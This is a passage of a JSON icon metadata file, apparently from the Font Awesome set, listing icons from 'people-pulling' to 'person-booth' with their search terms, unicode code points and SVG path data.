32 32h48c17.7 0 32-14.3 32-32V313.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M360 72a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM144 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM496 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 217.5V272c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V217.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 340.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5z"
      }
    },
    "free": ["solid"]
  },
  "people-pulling": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forced return", "yanking"]
    },
    "styles": ["solid"],
    "unicode": "e535",
    "label": "People Pulling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zM64 128c-35.3 0-64 28.7-64 64V320c0 17.7 14.3 32 32 32c9.8 0 18.5-4.4 24.4-11.2L80.4 485.3c2.9 17.4 19.4 29.2 36.8 26.3s29.2-19.4 26.3-36.8L123.1 352h15.7l30 134.9c3.8 17.3 20.9 28.1 38.2 24.3s28.1-20.9 24.3-38.2l-57.3-258 116.3 53.8c.5 .3 1.1 .5 1.6 .7c8.6 3.6 18 3.1 25.9-.7c3.4-1.6 6.6-3.9 9.3-6.7c3.1-3.2 5.5-7 7.1-11.4c.1-.3 .2-.7 .3-1l2.5-7.5c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L537 232.7l-15.3-36.8C504.5 154.8 464.3 128 419.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-24.4 10.9-44.6 29-58.1 51.6L157.3 136.9C144.7 131 130.9 128 117 128H64zM464 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM349.7 335.6l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L372.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zM64 128c-35.3 0-64 28.7-64 64V320c0 17.7 14.3 32 32 32c9.8 0 18.5-4.4 24.4-11.2L80.4 485.3c2.9 17.4 19.4 29.2 36.8 26.3s29.2-19.4 26.3-36.8L123.1 352h15.7l30 134.9c3.8 17.3 20.9 28.1 38.2 24.3s28.1-20.9 24.3-38.2l-57.3-258 116.3 53.8c.5 .3 1.1 .5 1.6 .7c8.6 3.6 18 3.1 25.9-.7c3.4-1.6 6.6-3.9 9.3-6.7c3.1-3.2 5.5-7 7.1-11.4c.1-.3 .2-.7 .3-1l2.5-7.5c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L537 232.7l-15.3-36.8C504.5 154.8 464.3 128 419.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-24.4 10.9-44.6 29-58.1 51.6L157.3 136.9C144.7 131 130.9 128 117 128H64zM464 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM349.7 335.6l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L372.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6z"
      }
    },
    "free": ["solid"]
  },
  "people-robbery": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["criminal", "hands up", "looting", "robbery", "steal"]
    },
    "styles": ["solid"],
    "unicode": "e536",
    "label": "People Robbery",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M488.2 59.1C478.1 99.6 441.7 128 400 128s-78.1-28.4-88.2-68.9L303 24.2C298.8 7.1 281.4-3.3 264.2 1S236.7 22.6 241 39.8l8.7 34.9c11 44 40.2 79.6 78.3 99.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V174.3c38.1-20 67.3-55.6 78.3-99.6L559 39.8c4.3-17.1-6.1-34.5-23.3-38.8S501.2 7.1 497 24.2l-8.7 34.9zM400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zm-8 32c-35.3 0-64 28.7-64 64v96l0 .6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352H88V480c0 17.7 14.3 32 32 32s32-14.3 32-32V252.7l13 20.5c5.9 9.2 16.1 14.9 27 14.9h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H209.6l-37.4-58.9C157.6 142 132.1 128 104.7 128H72z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M488.2 59.1C478.1 99.6 441.7 128 400 128s-78.1-28.4-88.2-68.9L303 24.2C298.8 7.1 281.4-3.3 264.2 1S236.7 22.6 241 39.8l8.7 34.9c11 44 40.2 79.6 78.3 99.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V174.3c38.1-20 67.3-55.6 78.3-99.6L559 39.8c4.3-17.1-6.1-34.5-23.3-38.8S501.2 7.1 497 24.2l-8.7 34.9zM400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zm-8 32c-35.3 0-64 28.7-64 64v96l0 .6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352H88V480c0 17.7 14.3 32 32 32s32-14.3 32-32V252.7l13 20.5c5.9 9.2 16.1 14.9 27 14.9h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H209.6l-37.4-58.9C157.6 142 132.1 128 104.7 128H72z"
      }
    },
    "free": ["solid"]
  },
  "people-roof": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["family", "group", "manage", "people", "safe", "shelter"]
    },
    "styles": ["solid"],
    "unicode": "e537",
    "label": "People Roof",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M335.5 4l288 160c15.4 8.6 21 28.1 12.4 43.5s-28.1 21-43.5 12.4L320 68.6 47.5 220c-15.4 8.6-34.9 3-43.5-12.4s-3-34.9 12.4-43.5L304.5 4c9.7-5.4 21.4-5.4 31.1 0zM320 160a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM144 256a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm312 40a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM226.9 491.4L200 441.5V480c0 17.7-14.3 32-32 32H120c-17.7 0-32-14.3-32-32V441.5L61.1 491.4c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l37.9-70.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c16.3 0 31.9 4.5 45.4 12.6l33.6-62.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c32.4 0 62.1 17.8 77.5 46.3l33.6 62.3c13.5-8.1 29.1-12.6 45.4-12.6h19.5c32.4 0 62.1 17.8 77.5 46.3l37.9 70.3c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8L552 441.5V480c0 17.7-14.3 32-32 32H472c-17.7 0-32-14.3-32-32V441.5l-26.9 49.9c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l36.3-67.5c-1.7-1.7-3.2-3.6-4.3-5.8L376 345.5V400c0 17.7-14.3 32-32 32H296c-17.7 0-32-14.3-32-32V345.5l-26.9 49.9c-1.2 2.2-2.6 4.1-4.3 5.8l36.3 67.5c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M335.5 4l288 160c15.4 8.6 21 28.1 12.4 43.5s-28.1 21-43.5 12.4L320 68.6 47.5 220c-15.4 8.6-34.9 3-43.5-12.4s-3-34.9 12.4-43.5L304.5 4c9.7-5.4 21.4-5.4 31.1 0zM320 160a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM144 256a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm312 40a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM226.9 491.4L200 441.5V480c0 17.7-14.3 32-32 32H120c-17.7 0-32-14.3-32-32V441.5L61.1 491.4c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l37.9-70.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c16.3 0 31.9 4.5 45.4 12.6l33.6-62.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c32.4 0 62.1 17.8 77.5 46.3l33.6 62.3c13.5-8.1 29.1-12.6 45.4-12.6h19.5c32.4 0 62.1 17.8 77.5 46.3l37.9 70.3c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8L552 441.5V480c0 17.7-14.3 32-32 32H472c-17.7 0-32-14.3-32-32V441.5l-26.9 49.9c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l36.3-67.5c-1.7-1.7-3.2-3.6-4.3-5.8L376 345.5V400c0 17.7-14.3 32-32 32H296c-17.7 0-32-14.3-32-32V345.5l-26.9 49.9c-1.2 2.2-2.6 4.1-4.3 5.8l36.3 67.5c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8z"
      }
    },
    "free": ["solid"]
  },
  "pepper-hot": {
    "aliases": {
      "unicodes": {
        "composite": ["1f336"],
        "secondary": ["10f816"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "buffalo wings",
        "capsicum",
        "chili",
        "chilli",
        "habanero",
        "hot",
        "hot pepper",
        "jalapeno",
        "mexican",
        "pepper",
        "spicy",
        "tabasco",
        "vegetable"
      ]
    },
    "styles": ["solid"],
    "unicode": "f816",
    "label": "Pepper Hot",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M428.3 3c11.6-6.4 26.2-2.3 32.6 9.3l4.8 8.7c19.3 34.7 19.8 75.7 3.4 110C495.8 159.6 512 197.9 512 240c0 18.5-3.1 36.3-8.9 52.8c-6.1 17.3-28.5 16.3-36.8-.1l-11.7-23.4c-4.1-8.1-12.4-13.3-21.5-13.3H360c-13.3 0-24-10.7-24-24V152c0-13.3-10.7-24-24-24l-17.1 0c-21.3 0-30-23.9-10.8-32.9C304.7 85.4 327.7 80 352 80c28.3 0 54.8 7.3 77.8 20.2c5.5-18.2 3.7-38.4-6-55.8L419 35.7c-6.4-11.6-2.3-26.2 9.3-32.6zM171.2 345.5L264 160l40 0v80c0 26.5 21.5 48 48 48h76.2l23.9 47.8C372.3 443.9 244.3 512 103.2 512H44.4C19.9 512 0 492.1 0 467.6c0-20.8 14.5-38.8 34.8-43.3l49.8-11.1c37.6-8.4 69.5-33.2 86.7-67.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M428.3 3c11.6-6.4 26.2-2.3 32.6 9.3l4.8 8.7c19.3 34.7 19.8 75.7 3.4 110C495.8 159.6 512 197.9 512 240c0 18.5-3.1 36.3-8.9 52.8c-6.1 17.3-28.5 16.3-36.8-.1l-11.7-23.4c-4.1-8.1-12.4-13.3-21.5-13.3H360c-13.3 0-24-10.7-24-24V152c0-13.3-10.7-24-24-24l-17.1 0c-21.3 0-30-23.9-10.8-32.9C304.7 85.4 327.7 80 352 80c28.3 0 54.8 7.3 77.8 20.2c5.5-18.2 3.7-38.4-6-55.8L419 35.7c-6.4-11.6-2.3-26.2 9.3-32.6zM171.2 345.5L264 160l40 0v80c0 26.5 21.5 48 48 48h76.2l23.9 47.8C372.3 443.9 244.3 512 103.2 512H44.4C19.9 512 0 492.1 0 467.6c0-20.8 14.5-38.8 34.8-43.3l49.8-11.1c37.6-8.4 69.5-33.2 86.7-67.7z"
      }
    },
    "free": ["solid"]
  },
  "perbyte": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e083",
    "label": "PerByte",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"
      }
    },
    "free": ["brands"]
  },
  "percent": {
    "aliases": {
      "names": ["percentage"],
      "unicodes": {
        "composite": ["f295", "f541"],
        "primary": ["f295", "f541"],
        "secondary": ["1025", "10f295", "10f541"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Percent Sign",
        "discount",
        "fraction",
        "proportion",
        "rate",
        "ratio"
      ]
    },
    "styles": ["solid"],
    "unicode": "25",
    "label": "Percent",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M374.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-320 320c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l320-320zM128 128A64 64 0 1 0 0 128a64 64 0 1 0 128 0zM384 384a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M374.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-320 320c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l320-320zM128 128A64 64 0 1 0 0 128a64 64 0 1 0 128 0zM384 384a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "periscope": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3da",
    "label": "Periscope",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"
      }
    },
    "free": ["brands"]
  },
  "person": {
    "aliases": {
      "names": ["male"],
      "unicodes": {
        "composite": ["1f9cd"],
        "secondary": ["10f183"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["man", "person standing", "stand", "standing", "woman"]
    },
    "styles": ["solid"],
    "unicode": "f183",
    "label": "Person",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152z"
      }
    },
    "free": ["solid"]
  },
  "person-arrow-down-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ground", "indigenous", "native"]
    },
    "styles": ["solid"],
    "unicode": "e538",
    "label": "Person Arrow Down To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM464 64V306.7l-25.4-25.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L528 306.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM464 64V306.7l-25.4-25.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L528 306.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "person-arrow-up-from-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["population", "rise"]
    },
    "styles": ["solid"],
    "unicode": "e539",
    "label": "Person Arrow Up From Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM598.6 121.4l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L464 141.3 464 384c0 17.7 14.3 32 32 32s32-14.3 32-32V141.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM598.6 121.4l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L464 141.3 464 384c0 17.7 14.3 32 32 32s32-14.3 32-32V141.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "person-biking": {
    "aliases": {
      "names": ["biking"],
      "unicodes": {
        "composite": ["1f6b4"],
        "secondary": ["10f84a"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bicycle",
        "bike",
        "biking",
        "cyclist",
        "pedal",
        "person biking",
        "summer",
        "wheel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f84a",
    "label": "Person Biking",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm27.2 64l-61.8-48.8c-17.3-13.6-41.7-13.8-59.1-.3l-83.1 64.2c-30.7 23.8-28.5 70.8 4.3 91.6L288 305.1V416c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-10.7-5.3-20.7-14.2-26.6L295 232.9l60.3-48.5L396 217c5.7 4.5 12.7 7 20 7h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H427.2zM56 384a72 72 0 1 1 144 0A72 72 0 1 1 56 384zm200 0A128 128 0 1 0 0 384a128 128 0 1 0 256 0zm184 0a72 72 0 1 1 144 0 72 72 0 1 1 -144 0zm200 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm27.2 64l-61.8-48.8c-17.3-13.6-41.7-13.8-59.1-.3l-83.1 64.2c-30.7 23.8-28.5 70.8 4.3 91.6L288 305.1V416c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-10.7-5.3-20.7-14.2-26.6L295 232.9l60.3-48.5L396 217c5.7 4.5 12.7 7 20 7h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H427.2zM56 384a72 72 0 1 1 144 0A72 72 0 1 1 56 384zm200 0A128 128 0 1 0 0 384a128 128 0 1 0 256 0zm184 0a72 72 0 1 1 144 0 72 72 0 1 1 -144 0zm200 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z"
      }
    },
    "free": ["solid"]
  },
  "person-booth": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f756"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["changing room", "curtain", "vote", "voting"]
    },
    "styles": ["solid"],
    "unicode": "f756",
    "label": "Person Booth",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
